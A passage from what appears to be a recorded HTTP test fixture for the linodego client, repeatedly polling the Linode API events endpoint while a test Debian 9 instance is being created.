default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.762498, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.828223, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.908301, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.978262, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.059152, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.130306, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.201841, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.268464, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.335113, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.411657, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.480796, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.586968, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.651296, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.776583, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.8347, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.894342, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 44, "time_remaining": null, "rate": null, "duration": 10.956689, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev 